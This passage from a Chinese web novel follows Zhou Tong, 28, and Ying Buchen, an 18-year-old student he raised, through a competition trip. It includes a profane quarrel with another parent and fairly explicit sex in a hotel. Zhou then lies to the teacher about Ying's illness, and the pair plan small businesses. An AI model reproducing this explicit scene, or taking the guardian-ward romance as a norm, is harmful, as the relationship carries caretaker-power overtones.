“唉,”飞飞爸爸一副有点小得意但是压抑住了的样子,说,“还成吧,也是花了一些心思来着。但是你得注意了,”飞飞的爸爸左看右看,说,“我家飞飞回来说,他谈男朋友,你说他一个男孩子,他早恋我个人认为都要杜绝,别说谈男朋友了!”
“最后一年了,那男朋友是现在能谈的吗?那不耽误学习?他那个男朋友要是真的对他负责任,现在能跟他谈?”老叔双手一摊,“是不是?所以啊,你得把他往正道上面引,不像我家飞飞,什么谈恋爱,通通不可能,谈恋爱读不好书,你说是吧。这回来比赛,我家飞飞肯定得拿奖回去,应不尘成绩我倒是知道一点,名次在我家飞飞后面,虽说吧成绩也算不错了,但是你们还是要看紧孩子,别觉得我话多,为他好。”
“是,是。”周瞳玩着打火机,说,“你家飞飞肯定能拿奖,我家那个我回去说他。”
“对吧。”飞飞的爸爸没心思了,往前面招手。孩子们都出来了。
周瞳看着人群里面无表情的应不尘,他拿起了手机,看了看又放下了,不知道老师跟他说了什么,他也还是那个样子。
黄飞飞过来找他爹,说,“爸,我没比好。”说着就要哭了。
周瞳吹了一声口哨,看见应不尘猛然抬头左看右看,然后找到了抱着胸倚在边上的周瞳,嘴角忽然就不知道啥时候咧到后脑勺去了,就往周瞳这里奔来。抱住了周瞳,问,“你咋来了?”
“想你呗,”周瞳摸着他的狗毛,说,“吃饭了没?”
“老师管了,”应不尘说,“你晚上不回去吧?”
周瞳摸摸他的头说,“你别耽误你比赛,不用管我。”
黄飞飞看着有点儿难受,闷在他爹身上,说,“我明天不比了,试卷太难了。”
黄飞飞他爹哄了几句,大概是说,那一样的试卷人家咋能比好之类的,最后有点恼了,“一点点困难就要退缩?我跟你妈这么多心思...”
黄飞飞喊,“你都不知道多难,多累,你就叨叨叨,你去比!”
黄飞飞他爹说,“我跟你妈不累,是吧,我们求着你读书是吧?”
周瞳摸着应不尘的脑袋,他说,“我也不想比了。”
周瞳说,“尽力了就行,带你回去呗。”
黄飞飞的爸啧了一声,他在教育孩子,被周瞳打岔了,应不
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尘把自己的试卷给黄飞飞,说,“这次的题目出的不太好,难度偏高了,不代表基础知识,今天晚上可能会改题目,大家考的都不好,你别难受了。”
黄飞飞一打应不尘的试卷,说,“你考第一你说你考的不好,阴阳怪气的,怎么哪儿都有你,你不是说你不来,来又要来,还要说风凉话!”
应不尘的试卷被一打,周瞳火蹭一下就冒上来了,但是还是按住了,捡起试卷对应不尘说,“咱不跟他们计较,他们心眼小,咱是宰相能撑船。”
“切,”黄飞飞说,“考了第一还要装模作样的来安慰别人,生怕我爸不问你考了第几名,你以为我看不出来?在学校的时候就这样,问你题目你就不会,考试你就会,老师说了要互相学习帮助,你呢?”
“为啥没跟同学讨论题目啊?”周瞳问。
应不尘面无表情,说,“讲了好几次,他听不懂,再来问我就说我不会。”
“你那是说我不会吗?”黄飞飞说,“你的眼睛都长到头顶去了,放学我叫你好几次,你就跑,你就是故意的!”
到这儿黄飞飞的爸按不住了,说,“成绩好能代表什么?人品不好干啥都不顶用!”
“我去你吗的谁他妈人品不好,”周瞳骂道,“你家孩子缺心眼就是随你,我家的爱他妈干啥就干啥,咋,不跟你儿子讨论题目了咱就不成了是不吧?我可去你吗的,你儿子不会咋不问你呢,问我家的干毛线啊?”
“什么狗吧家长,我真开眼了,自己儿子读不明白你赖人家读好了呗?听见了吗,跟你儿子讲不明白,你儿子笨,能听懂吗?笨!”周瞳把应不尘护在身后,“要癫你回家癫去,滚蛋!”
“考第一有用吗?”黄飞飞的家长冷笑着说,“你还不如去看看他跟哪个男的搞在一起。”
周瞳低头点了根烟,朝他脸上吐了一口烟圈,说,“你说的男人,就是在下。”
“还有,”周瞳叼着烟揽着应不尘往前走,“你儿子好笨哦。”
应不尘还要回头看,被周瞳抓住了脖子往前走。
“学校里都知道,是因为别人传的吗?”周瞳问。
周瞳心里有点发怵,人家会不会在背后嘲笑应不尘。
2002年,谈同色变的时候,应不尘年纪小,受不了别人那样的眼光。
周瞳心里直打鼓,刚刚黄飞飞的家长这么说他的时候忍不住,但是冷静下来还是觉得有点儿替他难受。
自己倒是没什么,反正就是个混子,但是应不尘不行啊,他还要面对那么多人。
“我自己说的。”应不尘转过头来。
“为啥要这样?”周瞳给他打开车门,让他上去,自己坐上了驾驶室,猛吸了一口烟。
“没为啥,”应不尘说,“我总有一天要面对这些,藏着掖着让我不爽,他们如果在背后说我,我只会觉得。”
应不尘抬起头来,看着周瞳,继续说,“我只会觉得,他们以为找到了我的软肋,但是对我根本没有影响。所有的无能,恐惧,委屈,我都觉得是在为难我自己,因为那会儿我就那么大,我就是没办法。但是我长大了,我需要别人的打击,嘲笑,我需要受委屈,我以后还会去受更多的委屈,我不想被你保护,我自己要是连这一关都过不了,还是那个只会抱着你哭的小孩子,我跟你走什么,我希望他们越猛烈越好,越疯狂越好,我挺过去了,就长大了。”
“你在修东西的时候,金属被加热,你把他放进冷却剂里面,你说淬了火,它就能更出色,更稳定,我也一样。”
“我年纪小,你说我们阅历不同,要是你一年淬一次,我就一年淬三次,淬五次,我总能赶上的。”
“我不想你这样。”周瞳踩了油门,“多吃那些苦干什么呢,没必要的。你慢慢长大...也来得及。”
周瞳的嗓子里不知道梗了什么东西,“不长大,也行。”
“我从前对你说话重,”周瞳道,“你别把那些放在心上,好吗?”
60. 我不成了
“瞳哥。”应不尘喊他。
“咋了?”周瞳刚洗完澡,应不尘还在看老师留下来今天比赛完了的题。
“我明天有点儿不想考,”应不尘说,“我想跟你车回去。”
“跟学校出来的就跟学校回去呗。”周瞳说,“能比就比呗,你要是因为我过来了就这样,那我跑了。”
“不要,”应不尘说,“我不想比。”
“你这狗崽子,怎么想一出是一出,”周瞳说,“别闹了嗷,老师车上不是还讲卷子吗?”
应不尘往床上一躺,说,“我不懂再问呗。”
“听话,”周瞳说,“就没多大一会儿,你睡一觉就到了。”
“不要。”应不尘说,“我不考了。”
“咋的,还得我求你去考啊?”周瞳刮着胡子,“给我考啊?”
“你今天把黄飞飞的爸爸骂了,他去老师那告状了。”应不尘说。
“啊,”周瞳说,“那我回头拎点东西我去道歉啊?还是咋的,你定。”
“道屁。”应不尘说,“就都小孩儿的事,我自己弄就行了。”
“你咋弄啊。”周瞳根本不关心黄飞飞他爸,就应不尘说的那话,修为都在他之上了,他这么大了,事情就让他自己弄呗,弄好了就弄好,弄不好自己再去擦屁股。
孩子么,就该给他做错事,做烂事的权利。
不去做,他永远也长不大。
三十岁都是小孩儿。
就像周瞳从前认识的一些人,挺大的人了啥事都要回家问爹妈,一点儿主意都没有。那会儿周瞳想,他们可真好,回家还能跟爸妈商量,虽然弄坏了家里爹妈还要说。现在周瞳想,没爸妈也有没爸妈的好,起码遇上事,好的烂的都自己办,自己只要不怨自己,就世界和平。
“瞳哥,我跟你说我跟你回家的事,你跟我老师说一声,我不想比赛了,我要跟你回去。”应不尘光脚跑出来,挂在周瞳身上,周瞳还刮胡子呢,盯着他,说,“我不去,你跟学校车回去,你比你的赛呗,我等你不行吗?路上还讲试卷呢讲试卷。”
“不成。”应不尘开始了。又开始了。
“瞳哥...”应不尘亲亲他的下巴,说,“你最好了,那大巴车又不舒服,我还晕车,老师讲什么我也听不清,我光想吐了,那个味道真的晃得我难受死了。而且那个比赛老没水平了。”
“你就放屁吧。”周瞳看着镜子,说,“你小时候那报废歪轮子的大车也没见你吐,现在晕车了,你晕车不晕车,我不知道呗,你把我当傻子呗。”
“哎呀瞳哥,”应不尘一脸真诚,又黏在身上,一直蹭,“我真的不行了,我晚上就要发烧了,我要连夜回新春了,我考不了了。”
“净瞎说。”周瞳揉他的狗毛,“听话行不行?”
“我不,”应不尘扭来扭去,嚎着,“你就说一句,我真的不想去比赛,老没意思了,我想跟一起回去,啊,哥哥,啊。”
这句哥哥能一瞬间把周瞳拉回他耍赖的小时候。
“你这个,”周瞳有点难整,掰着他的脑袋说,“你就耍赖。”
“你对我最好,我们是世界上最好的,你是世界上最好的最好的...”应不尘眨着眼睛看他,“老公。”
周瞳拿刮胡刀的手都抖了一下,看着镜子里挂在他身上仰着头的应不尘,这个称呼周瞳这辈子也没听过,周瞳的耳朵肉眼可见的红了,僵住了皱眉不知道说什么,他又贴上来,在耳边喊,“好不好,老公。”
周瞳结巴着说,“净,净...”就被堵住了嘴巴,他的腿圈上了腰,亲吻着周瞳的唇角,胡子只刮了一半,泡沫还没洗干净,应不尘的手探过来,把他的刮胡刀扔远了,他目光热烈,歪着头问,“阴阳怪气的事儿,我等了好久,为什么还没有来?”
“是我还不够阴阳怪气吗?”应不尘轻轻咬着他的鼻尖,没有距离的挤在一起,宾馆的床又松又软,距离卫生间就几步之遥。
应不尘被放在盥洗台上,周瞳捞抬他亲吻,水还没有关,哗啦啦的腾起热气,镜子就在眼前。
香艳的糊成一片的马赛克,应不尘被亲吻的时候伸手擦开一片清晰。
周瞳的眼前变得模糊,感受他一点点的从喉结开始亲吻,从头到脚起了一身鸡皮疙瘩,睫毛偶尔会触碰到,唇舌吮吸的时候留下欢爱的印记,在身上种上一整个冬天的草莓园。
周瞳的手没有目的就想按着他靠近自己,伤口撕裂的时候洇出一片红,染在他的脖颈就像开了一朵残忍的玫瑰。
他有熟练湿滑的讨好,虔诚臣服的时候让周瞳混沌地错觉,错觉带剑的骑士也是这样拜倒于国王膝下。他们胡乱的翻滚,索要,拼接,累了就可以接吻,不累的话还可以做一些接吻之上的事情。
房间只有一盏芒灯,颜色与那时候的高温灯相近,他们还是与十年前一样,拥在一起睡觉。
“瞳哥。”应不尘说,“我看书上说,这事儿完了之后就会厌恶伴侣,你会吗?”
周瞳起身去拿烟,点上了,吸了一口,问,“听实话啊?”
“算了。”应不尘说,“我不听了。”
“我就知道你个狗崽子会这样。”周瞳在他的头发上打着转,笑说。
“那你跟我说呗。”应不尘蹭过来,跟从前一样,勾着周瞳的脚,他的脚冬天总是容易冷。
“那我们弄完,你烦我吗?”周瞳瞥着他。
“我不烦啊。”应不尘说,“我从来都没有烦过。”
“我挺恨。”周瞳吸了一口,笑得看起来有点坏。
“你恨什么?”应不尘不明所以。
“恨我老骨头年纪大了,不然就你刚刚问的这句话,我就应该再来一次,你问一次来一次,到你不问了为止。”周瞳说。
“十年,连这事儿也差这么多吗?”应不尘问。
“我还觉得过几年要是不行了真的就完蛋了。”周瞳说,“你青春年少的,我咋整呀可。”
“不是,瞳哥,你别这么想,”应不尘说,“就算没这个事情,我没,我就也没关系,不用乱七八糟的,吃药什么的,对身体不好。”
“我吃药?”周瞳把烟掐在烟灰缸里,覆在他身上,“我特么二十八,我在这自谦,你在这给我出主意呢?”
“那,那你自己说的呀。”应不尘一脸无辜地说。
“你自己说,你年纪大了,你不行了,我没说,不过确实,第一次的时候你就,很多嘛,你就一碰就着,那打火机,你知道吧,新的就是那种一点就着的,我一挂在你身上我都能感觉到,现在,确实,”应不尘似是有点为难,“那你现在就是,我没觉得你自谦,有些问题,存在就存在了,没事的,瞳哥,真的,我不在乎。”
周瞳点头听完,说,“你早上的时候给你老师宾馆去个电话。”
“说啥?”应不尘问。
“说你被你的老公干一晚上,早上起不来去比赛了,”周瞳把人拎起来,磨牙的声音都能听见,说,“我三十八让你一个二十八的侮辱就算了,我二十八我受你这种窝囊气?”
床头柜在吱吱呀呀的摇动,白色的被子皱成一团被扔在床角,散落的卫生纸与掉落的水,水在地毯上晕开了。
青筋爆起的手臂碾压着单薄的脊背,肆无忌惮的喘息将耳垂当做无上的宝物,它就明晃晃的垂在那里,这么羞耻的东西,这么暴露的东西,能将一切身体打开的开关,就垂在那里,任谁都能观赏。
这真是一件不可思议的事情。
应不尘去缠卷他的舌尖,去祈求他的津水,看他气急败坏地恶意使劲儿,就感觉那些年每一个仓皇无措的夜晚,无家可归的悲怆都被一点点填平,他在小时候听到过,要回填。几年前挖的深深的沟壑,正在被满满的,慢慢地填平。
鼓胀的滋味儿让他觉得安全,安全感来源于喘息发劲儿的男人。
“应不尘,”周瞳掐着他的脖颈又把他捞起来,贴在身上,“错没错。”
“呜...”应不尘受不了这个没倚靠的姿势,嗯嗯啊啊不知道在说什么。
“说什么?”周瞳把他翻过来,抱在怀里,怕他感冒,又扯了被子遮住了交联的部分。
“我说...”应不尘闭着眼睛仰着脖子任由亲吻,宽大的手掌覆盖在他的后脑,那枚银圈戒指一挪就像黑板上用力刮过的粉笔,摸不清是愉悦还是难受,或者都有。“我说我爱你。”
“我要你...”应不尘颠簸着,颤抖着,绞着劲儿攀扶着,“都给我。”
应不尘好似没力气,歪在他身上说,“你给老师打电话,我咋的我也不去比赛了,我不成了。”
***
“唉真实在对不住,”周瞳一大清早就定了房间呼叫铃,此刻正在打电话,“应不尘他,哎呀昨天让黄飞飞说了么这不是,回家就一直哭,哭得哄都哄不住,半夜就发烧了,今天实在不能去比赛了,对不住对不住,咱家这个孩子实在太脆弱了,我也是跟他说来着,对不住了老师,那我这边就直接给他带回去了,行,行。”
周瞳挂了电话,又回来跟应不尘窝在一个被窝里。
这个学期也过半了,再有一个多月就要放寒假了。
“瞳哥,”应不尘说,“你真能扒
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瞎。”
“我哪儿扒瞎了。”周瞳把应不尘搂在怀里,“你闹着不去比赛了,我有什么办法,我给你拽起来非比不可啊?”
“我没闹,”应不尘说,“我真没力气了,但是你跟老师说我被黄飞飞说了然后我回来之后一直哭就太扒瞎了吧。”
“那我真跟她说昨晚上咱两干啥了啊?”周瞳说,“不这么说咋说,你自己去说。”
“我们学校这次挺想拿奖的,你这么一说,老师都得找黄飞飞的茬,”应不尘说,“你咋那么损呢。”
“我可没。”周瞳说,“你还睡吗?”
“我一会儿想去玩。”应不尘说,“我们下午去玩吧,晚上再回家。”
“听你的。”周瞳说,“包里有钱,你看着花呗。”
“瞳哥,”应不尘缩成一团,躲在他怀里,“你厅里不看着能行吗?”
“我跟小厉说了,以后你出去了我店兑给他,他当自己买卖做,不能松懈,”周瞳说,“我还给他涨工资了。”
应不尘说,“他跟你说的涨工资?”
周瞳闭着眼睛说,“没,我自己给他涨的。用人,你想好好用,你就得赶在他前面把账算明白,不然人家就找你的毛病,工资比不上东家,活儿比西家累,他张嘴了我也得涨,还不如我承给他恩情,早点儿涨,抠那三瓜两枣,人家对你没指望,就容易歪。别砍人家价,在活上多做一些不就省心了么。”
“那他要是不知足呢?”应不尘问。
“那就换。”周瞳说,“找比他低要求的,他那活儿又没啥技术含量。不感谢我还一天眼高手低的。”
“瞳哥,”应不尘说,“我以后出社会了会跟你说的那样眼高手低吗?”
“你不太会,”周瞳说,“你跟他们又不太一样了。”
“哪里不一样?”应不尘问。
“咱那会儿欠债,从前对我们好的面粉厂的,真钱分到他们头上了就逮着咱两置气,威哥那帮狡诈的一份债券都拿不着,那面粉厂里拿了这债的都是老实人,对吧。”周瞳说,“你很早就知道了,恩情这一套不管用,你这个人只认钱,跟你画圈指着这个指着那个的对你根本不好使,要你卖力气,就只要钱,没有那一套了就。”
“咋绕着圈的说我钻钱眼子,”应不尘说,“我身上有铜臭味啊?”
周瞳说,“我一想到你那么小就要替我攒着,我就有点儿难受。”
“干嘛呀,”应不尘抱着他脑袋,说,“装忧郁呐,我可是生病了的,你自己跟老师说的,你要照顾我。”
“你生个屁的病。”周瞳说,“起不起来,起来去玩去啊。”
“你可真行,”应不尘说,“哎,我真想去比赛呀,我应该拿第一呀,哎,不让我去,非得叫我去玩,我这成绩下降了可咋整呢?”
“你贱不贱啊应不尘,”周瞳起来穿了条裤子,把应不尘的衣服捡起来,抱在身上给他穿,“谁昨天闹着不去比了,是我呗。”
“嘿嘿。”应不尘圈着他的脖子,让他自己套衣服,说,“你记不记得我小的时候,咱还住那个鸡棚呢,你给我穿一件啥毛衣,一碰就出静电,晚上脱衣服噼里啪啦的,我吓死了,我说我不能是眼冒金星了吧。”
“然后你跟我说,叫我看见星星就许愿,许愿就能成,”应不尘说,“搞得我每天都跪那件衣服。”
“你太能骗我了。”应不尘说,“后来我上学,学了静电了才知道,我就想为啥我每次许愿,你都在那笑呢。”
“你咋那么好骗呢。”周瞳说,“我那会儿以为你中邪了呢,给那跪一件毛衣,那把那毛衣挂起来跪,后来才知道。你真许愿啦?你许的啥?”
“我不告诉你。”应不尘说,“不然你又笑话我。”
周瞳挠他痒痒,说,“跟我说呗,许愿许的啥?”
“我许愿,”应不尘有点不好意思地说,“咱俩能吃上热饭,那冷饭吃得我晚上肚子好硬,有点痛。”
周瞳抱紧了应不尘,沉沉地也不说话,把头埋在他的肩窝里。
“干嘛呀,”应不尘说话又拉长了尾音,说,“我就知道一说你就这样,哎呀,起来啦,不是说要带我出去玩。”
省城自然比新春那个落后的小县城不知道繁华了多少。
“小时候,”应不尘指着一个街角,说,“就那,竟然还开车,你就是在那跟女孩子吃饭,我每次想起来省城,我就巴不得掐死你,不带我去儿童乐园,吃个饭吃一下午。”
“现在去还来得及吗?”周瞳拍了一下他脑瓜。
“我都多大了我还去那个?”应不尘说。
61. 舔手指甲
二人出了庙宇,“瞳哥,”应不尘说,“我打算上那边那个医科大。”
“行啊,”周瞳说,“他们食堂好吃吗?”
“应该还行吧,”应不尘说,“省的咱两做饭了。”
“上回你说那个我,”周瞳咳嗽了一声说,“吃药那个事,你不是还上医科大了,我就合计,不如做保健品吧。”
“不会是你要用吧?”应不尘眯着眼睛看他,揶揄的意思明显。
周瞳靠了过来,肩膀挨在一起,他总是这副不正经的样子,“你买,买了我就吃,我无所谓,我看看你能不能上医院。”
“怎么这么大气性,”应不尘说,“那么多行业,你为啥就想保健品?”
“还不是吃没文化的亏了,”周瞳说,“人家读书好的干的都是高端的,弄电脑上那些东西,来回倒腾就赚钱了,给人介绍生意就赚钱了。”
“但是我又没文化,就只能走低端路线了呗。”周瞳说,“等你明年暑假吧,我去盘个小厂房看看,要是挣不了钱那你就养我,我折腾不动。”
“你能吃几个馒头。”应不尘说,“还能养不起你了?”
“啥意思啊,我跟你我就吃馒头呗。”周瞳说,“没定呢,我就想想,干服装也行,童装也行,那会儿那个沈姑娘你记得吗?”
“咋了,到这儿就想那个沈姑娘了?”应不尘说,“想吃你的三克油炒的菜?。”
“你咋又阴阳怪气的,”周瞳说,“你知道她那会儿的皮包,化妆品都多贵了吗,那玩意儿成本才多少钱,总不是比金还贵的,这个也能试试。”
“啊,误会了。”应不尘说,“这个你倒是能试试。”
“是吧,”周瞳带上墨镜往前走,说,“你这人一说就灵。”
“都跟小姑娘打交道,你最乐意。”应不尘说,“打去吧,咋不去开个卡拉OK呢,歌舞厅啊,上音乐课去啊,反正我读书去了,你也没人管,你就逮着人叫姐姐,一把骚骨头。”
“咋说说话就急眼呢,”周瞳说,“这不是跟你商量呢?气性这么小。”
“我气性小?”应不尘说,“对,我气性当然小,电影院后面那个棋牌室,那涂着黑指甲那女的,一整就拿一堆破烂叫你修,就差当你的面舔她的黑指甲了,你还屁颠屁颠给人修呢,我都看出来啥意思了,你装什么蒜。”
“有吗?”周瞳说,“我没觉得呢,人家还给我钱了呢。”
“等你觉得,人家都躺你身上了。”应不尘说。
“你这说的啥话,那不是帮助街坊邻居吗?”周瞳说。
“她上回没带电器过来,是不是叫你打麻将去呢?”应不尘问。
“嘿你咋知道,三缺一呢,”周瞳说,“我那不是要送你去学校了,我跟她说没工夫。”
“你最后去了没。”应不尘问。
“啊?”周瞳摸摸脑袋,摸摸鼻子,看来看去,说,“我忘了呢。”
“你忘了是吧?”应不尘抱着胸踢了周瞳一脚,说,“你忘了是吧,我就知道你去了,跟她们打麻将你可开心了,以前就是这样,大半夜跟我一起睡了还要敲门去打麻将。”
周瞳神神秘秘地说,“你知道我那天赢了多少钱?”
应不尘说,“赢多少钱关我什么事,我才不要她们的钱呢。”
“一分没赢,”周瞳叹了口气,“唉。”
“咋呢。你还要下回去赢是不是?”应不尘问,“不输出去就难受是不?”
“因为我没去。”周瞳咧个嘴笑起来,说,“我一猜你就会这样,哎呀,气坏了。”
周瞳拉着他的手,说,“小嘴叭叭叭的,嘴咋那么碎。”
“你真没去啊?”应不尘问。
“我打啥麻将,”周瞳说,“我要打麻将我开一桌呗,我叫上你一块儿,我给我自己找不痛快干啥。”
“真的?”应不尘问。
“这事儿可有几天了,怎么现在才发癫?”周瞳问。
“还不是赖你,”应不尘停了一下,说,“我一这样你又要不高兴,不高兴就骂我。”
“哟呵,”周瞳说,“那你可太懂事了。”
“你真没去啊?”应不尘又问。
“我去干啥去,她拿过来修的东西,就是电线断了,说是老鼠咬的,谁家耗子嘴里长剪刀了,她就这样想骗我过去打牌,输钱,她每回来我都宰她了。”周瞳摸着他狗毛说,“就你那脑子,光觉得人家谁都想跟我好似的,傻不傻。”
应不尘说,“你故意的,你早知道了,你就等着我闹呢?”
“对啊,”周瞳说,“这急头白脸的,多可爱。”
“我讨厌你了。”应不尘说。
“讨厌我啦?”周瞳说,“哎,这都没到一年,就讨厌我了,那明年,你就骂我了,后年,你不得跳上桌子打我啊?再过一年,完蛋,想着招的把我甩了,毕竟一副骚骨头。”
“瞎说话,我就,我就是,”应不尘又找补说,“乱说的,我没讨厌你。”
“你这道歉忒没诚意,”周瞳说,“一顿骂我就这一句可不行。”
“那我怎么跟你道歉才行?”应不尘问。
街道上人来人往,各人都拉着自己最重要的人,华灯初上,有点寒意,周瞳穿了件姜黄色的立领开衫,里面就穿了一件跨跨的黑色背心,他低头的时候会看见二十岁时候的平安锁在晃。
“我要给你涂指甲,”周瞳在他耳边啄了一口,说,“然后舔给我看,就你说的那样。”
应不尘的脸歘一下就红了,说,“你就是骚骨头。”
“那怎么了?”周瞳揽着他往前走,“涂什么颜色的指甲?”
“我才不理你,你大街上你说这个,”应不尘说,“你你,你不正经。”
“是,我不正经,”周瞳说,“我从来也没正经过啊,你满宜华满新春的打听,都知道我不正经,咋了,你不知道?”
“你的名声就是你自己败的,”应不尘觉得周瞳跟别人说的都不一样,他就是嘴上乱说,弱弱说,“他们只是不知道。”
“不知道啥?”周瞳贴在他耳边问,“不知道我床上更不正经?”
“这是...大街。”应不尘揪了他一把说,“你能不能稍微收敛一点。”
“我收敛啥呀,”周瞳拉着他的手,转过头来看他,眨了下眼睛,像个媚眼,又忍俊不禁,歪着肩膀
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笑,“你一红脸,我就觉得你好看。”
“你老是逗人。”应不尘脸有点儿红,急急往前走,“吃啥。”
“你乐意吃啥吃啥呗,”周瞳说,“咱俩都坏舌头,吃啥都一样。”
路边摊,鸡杂店。
“你咋还乐意吃这玩意儿。”周瞳皱眉说。
“没乐意,就你开业那会儿吃过,后来再没吃过了。”应不尘说。
“那你好几年,你咋不吃。”周瞳要的鸡杂面,滋溜吸了一口。
“不想吃,”应不尘说,“不是那个味儿。”
“事还挺多,”周瞳说,“大老远跑这儿来,吃个鸡杂面,我真服了。”
“那会儿咱两吃半分的时候,”应不尘说,“可太好吃了。”
“饿急眼了啥不好吃。”周瞳说。
“你现在还烦人家说你劳改吗?”应不尘突然问。
“刚开始不行,听了难受。”周瞳说,“后来就不了。”
“为啥呀?”应不尘说,“那会儿你开修理铺的时候,我看你经常脸色不好。我猜是被撅了。”
“人家都觉得劳改就是做错事儿了么,”周瞳说,“我又没做错事,我就是号子里蹲傻了,总觉得说进来出去就不成了,毁了。”
“但是在我这里不是,”周瞳喝了一口面汤,说,“我知道你那么等我的时候我心都碎了,我那会儿总觉得你再不好过也比我好过,但是我看完了感觉,你比我难过多了。”
“劳改挺好,”周瞳说,“我现在一听见这个词儿,就能自动换成你在等我,就没觉得不舒服了。”
“人家一说我劳改犯,”周瞳笑说,“我就觉得说,妈的真值啊。”
“你别笑,笑了我难受。”应不尘低着头吃面条,说,“吃完回去吧。”
周瞳搓着方向盘,两人上了高速。
吃完鸡杂面本来说要买衣服,最后周瞳想要的衣服可能还没生出来,咋的都不行,这个人买东西实在墨迹,一顿挑毛病,应不尘的屁股痛,坐在咖啡店里,周瞳说他买好东西去了。
“这就是你给我买的好东西?”应不尘捧着一个箱子问。
“对啊,就省城有,我打听了,新春都没有。”周瞳说。
“好重啊,”应不尘说,“都啥呀?”
“你可得藏好了别让人看见,到时候都来看。”周瞳说。
“啊?”应不尘一脸欣喜,说,“这么好吗?”
“我办事还不靠谱?”周瞳说,“你晚上回家的时候能用。”
“什么好东西,这么神秘,”应不尘笑嘻嘻的从后面掏美工刀就要打开,这么重的盒子,应该不是戒指,戒指可小的一个盒,应该也不是衣服这么重,他这个不正经的东西可不是买的啥乱七八糟那些什么「生活」用品吧,要是是一箱指甲油得涂时候去,不过他这个人总是乱买东西的。
“这就是你给我买的好东西?”应不尘问。
“对啊,高考的补习资料,这里只有贵的补习班才有,我之前打听了,他们那个补习班的资料不外传的,”周瞳一边说一边笑,“你高兴坏了吧?都说好学生看见这种学习秘籍都走不动路,可不好买呢!”
62. 这么损呢
应不尘回来没多久就得挨上期末考,因为周瞳算着旺旺家的孩子跟风子的家的小姑娘,腾了一大箱满满当当的东西就要送过去。
应不尘要期末考,总是在房间里看书,周瞳接上他就让他回家,不让他去那个游戏机厅了,小厉还是在厅里端茶送水的,工作也认真,周瞳没啥好说的。
游戏机厅来钱快,从中可以做手脚的事情很多,但是周瞳留心了好几次,小厉都没有碰过什么钱。
每次看见学校那光荣榜周瞳就要叨叨叨。
“你这相片照得,也太装逼了。”周瞳说,“咋的看着目空一切的呢?”
应不尘低头看书,说,“我一天跟你似的天天嘴巴咧到后脑勺。”
“呐,”周瞳说,“没大没小的呢。”
“对了,”应不尘说,“之前存折的那笔钱,给你开游戏机厅你用不上,我这几天要弄个画室,老师都托人找好了。”
“啥?”周瞳说,“我咋不知道?”
“现在高考要出息有点难,上次我去省城考试的时候,现在不少就走艺术生,就是画画的那种,高考分数低,现在艺术生去高校机会多,省城已经有规模了,咱这里还没有,我上次听老师说,一中二中那边也有学生高一高二的想要去省城学画画,就是麻烦,我要了份省城画室的资料。”应不尘抬起头来,估计是最近学习学傻了,满脸的颓丧,“看了下现在考试规章,你租个差不多点的地方,我找我们学校的美术老师说了这事儿,我出钱,他找人进来学,招到人他分成走,我们美术老师年轻,刚毕业,没钱。”
“您百忙之中还要弄这个?”周瞳说,“那你这地方也不能长干啊,你明年就毕业走了。”
“我想过了,要是我美术老师是个聪明人,这次肯定要狠狠吃钱的,他有钱就会把我踹了,我就挣这一趟。”应不尘说,“你不是跟我说了么,用人就得这样,赶在他前面把账算明白,要是他不聪明但实惠,寒暑假的那就给我打工呗。干一阵瞧瞧吧,不能亏。”
“那你租房子要多少规模啊?”周瞳说,“你那些美术器材都怎么算,他们自己带还是咱统一批啊?你这都学生,地方得找得中间一点,太偏了不合适,最好派出所门口啥的,你证件又怎么弄?”
“约三十多人规模,空房子,器材这事儿上来就批发咱两也不懂,让他们自己先带吧,缺啥了咱统一去批,要什么牌子的拿多了看价格能不能谈,证件的话我查完了,就一个营业执照,你的我的都行,98年就上考试了,4年过去也该落到新春了。他们现在都可以电脑查,问题不大。”应不尘说,“现在走啊?”
“你都累这样了一会下午你还上课呢,”周瞳说,“我去给你弄不就成了吗?”
“那你租完房子抽时间办一下执照,”应不尘说,“学美术这个东西有门槛,我打算除了我们美术老师再找一个厉害点的,花钱让他来指导指导,挂个名。回头你连宣传册给我一块儿做了,我给你写要哪些。”
“你十八啊应不尘,”周瞳说,“你这着急挣钱干啥呢,你那耳朵就不能听见钱,一听见钱你跟疯了似的。”
“我能不急吗,”应不尘低头看书,说,“你过完年都二十九了,就这个烂车,小房子,我当然着急。”
“我觉得都挺好。”周瞳说,“但是你不耽误学习的话,你想干啥就干啥呗,也不是啥坏事儿。”
“我挣了钱都给你。”应不尘说,“当年的债我还给你。”
“我用你还,都特么通货膨胀多少倍了,”周瞳说,“你在我边上,再来几遭我都不怕。”
“瞎说,咱可不进去遭罪了,”应不尘说,“我都要给你害死了。”
“说着玩呢么,”周瞳说,“主子还有啥要吩咐的。”
“你弄完那个画室,也快过年了,我看你给小孩儿买东西了,我跟你一起去还是你托人捎过去?”应不尘问。
“你好好考试,我给你弄完了再定,太忙就不过去了。”周瞳说,“我带你回家吃饭啊?”
“行。”应不尘翻了一页书,说,“不过这种东西的可取代性太高,估计就能挣一骨碌钱。”
“你还有啥计划啊应不尘?”周瞳问。
“新春的教育水平呢一般,上次我去省城比赛就感觉出来了,”应不尘说,“宜华都比这里强,但是大家的考试都一样,就只能拼补习班,有些老师偷偷摸摸在弄补习班,为了出成绩就是漏题给学生,这套没啥用了,你上次给我那套学习资料我看了,水平还成,我找了署名个最后的老师,我打电话问了能不能给我来补课,让他过来,包吃住还要一笔酬劳,这个钱机构不抽成,他净拿的,再找几个大学生就能成型,都可以一对一了,”应不尘说,“他们补习班抽成抽得太狠,卖课都是场子全拿钱,多少人上给多少钱,他巴不得来给我干。”
“你一套资料,为啥找最后名字的老师?”周瞳问,“那他名字都排最后了。”
“这种资料,大概率就是署名最后的老师做的,其他人看没看都两说,他们搞教育的就这样。” 应不尘说,“真的会教书的那种,往往都混不上去,场面话一套又一套的会办事儿在前面署名的。”
“你打哪儿学的这个?”周瞳问。
“汪奶他们就这样。” 应不尘说,“汪奶教书的,你忘啦。”
“啊,那你这事儿打算咋弄?”周瞳问。
“寒暑假吧,”应不尘说,“我上大学上课没时间,我自己得选老师,几个题就能看出来水平,场面上的事情你去弄,我不会。”
“反正你就擅长干这个,”应不尘说,“那些虚头巴脑的话我可说不出来。”
“我怎么你了我就虚头巴脑的了?”周瞳说,“你瞳哥在你心里就这样啊?”
“那咱两换换,我去场面上,你去找老师,行不?”应不尘说。
“我合计可行,”周瞳说,“咱俩就联手,把家底全败光,就白干就舒服。”
应不尘噗嗤笑了一声,说,“我不在乎你败光。”
周瞳说,“我真看不懂你,有钱了你也舍不得花,然后全败光你也不在乎,你到底爱钱还是不爱钱?小抠门。”
“我也不知道。”应不尘说,“我最恨钱了,我巴不得这辈子别跟钱打交道呢。”
